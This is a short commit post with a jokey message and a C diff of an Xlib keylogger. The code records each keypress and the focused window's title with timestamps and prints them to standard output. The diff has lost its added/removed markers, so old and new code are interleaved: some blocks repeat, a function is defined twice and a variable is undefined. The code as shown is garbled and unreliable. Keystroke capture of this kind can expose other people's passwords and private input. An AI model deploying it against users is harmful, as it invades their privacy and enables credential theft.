Hello C, either I am stupid or you're double edged

Anyway, you make me feel kind of stupid.

rust/keylog_xlib.c

@@ -3,6 +3,7 @@
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <assert.h>
#include <X11/Xlib.h>
#include <X11/Xutil.h>
@@ -10,6 +11,7 @@
/* internal state */
Window focused_window = None;
Window last_focused_window = None;
char *rfc3339_format_time(struct tm *time) {
	char *rfc3339 = malloc(sizeof(char) * 100);
@@ -45,52 +47,28 @@ XTextProperty *get_window_name(Display *display, Window window) {
	return wm_name_prop;
}
void print_next_event(Display *display) {
	XEvent ev;
void print_focus() { printf("%ld %ld\n", last_focused_window, focused_window); }
void print_title(Display *display) {
	XTextProperty *wm_name_prop = get_window_name(display, focused_window);
	printf("focus '%s' %s\n", wm_name_prop->value, rfc3339_now_str());
	free(wm_name_prop);
}
void print_key(XEvent ev) {
	KeyCode kc= -1;
	KeySym ksym;
	char *ksymname = NULL;
	char *kname = malloc(sizeof(char) * 2);
	
	//printf("hi there, nice to see you.\n");
	
	if (focused_window == None) {
		//printf("no focus, let's look for it.\n");
		int r = 0;
		XGetInputFocus(display, &focused_window, &r);
		//printf("got focus\n");
		if (focused_window != None) {
			XSelectInput(display, focused_window, KeyPressMask | FocusChangeMask | PropertyChangeMask);
			//printf("selected input");
		} else {
			
		}
		return;
	}
	XNextEvent(display, &ev);
	if(ev.xany.type == FocusOut) {
		focused_window = None;
	} else if (ev.xany.type == PropertyNotify) {
		Atom _NET_WM_NAME = XInternAtom(display, "_NET_WM_NAME", False);
		if (ev.xproperty.atom == _NET_WM_NAME) {
			XTextProperty *wm_name_prop = get_window_name(display, focused_window);
			printf("focus '%s' %s\n", wm_name_prop->value, rfc3339_now_str());
			free(wm_name_prop);
		}
	} else if (ev.xany.type == KeyPress) {
		/* XLookupString  handle keyboard input events in Latin-1 */
		XLookupString(&ev.xkey, kname, 2, &ksym, 0);
	XLookupString(&ev.xkey, kname, 2, &ksym, 0);
		/* Find out string representation */
		if(ksym == NoSymbol) {
			ksymname = "NoSymbol";
		} else {
			if (!(ksymname = XKeysymToString (ksym))) {
				ksymname = "(no name)";
			}
			kc = XKeysymToKeycode(display, ksym);
	/* Find out string representation */
	if(ksym == NoSymbol) {
		ksymname = "NoSymbol";
	} else {
		if (!(ksymname = XKeysymToString (ksym))) {
			ksymname = "(no name)";
		}
		kc = XKeysymToKeycode(ev.xany.display, ksym);
	}
	
	if (ksymname != NULL) {
@@ -102,6 +80,40 @@ void print_next_event(Display *display) {
			printf("'%s'", kname);
		}
		printf(" %s\n", rfc3339_now_str());
		fflush(stdout);
	}
}
void setup(Display *display) {
	int _ignore; Window window;
	XGetInputFocus(display, &window, &_ignore);
	XSelectInput(display, window, KeyPressMask | FocusChangeMask | PropertyChangeMask);
}
void unfocus(Display *display) {
	if (focused_window != None) {
		last_focused_window = focused_window;
		focused_window = None;
	}
}
void refocus(Display *display) {
	int _ignore;
	XGetInputFocus(display, &focused_window, &_ignore);
	assert(focused_window != None);
}
void print_next_event(Display *display) {
	setup(display); XGetInputFocus(display, &focused_window, malloc(sizeof(int)));
	XEvent ev; XNextEvent(display, &ev);
	Atom _NET_WM_NAME = XInternAtom(display, "_NET_WM_NAME", False);
	
	if (ev.xany.type == FocusOut) {
		unfocus(display);
	} else if ((ev.xany.type == PropertyNotify && ev.xproperty.atom == _NET_WM_NAME)
			|| (ev.xany.type == FocusIn)) {
		refocus(display);
		print_title(display);
	} else if (ev.xany.type == KeyPress) {
		print_key(ev);
	}
}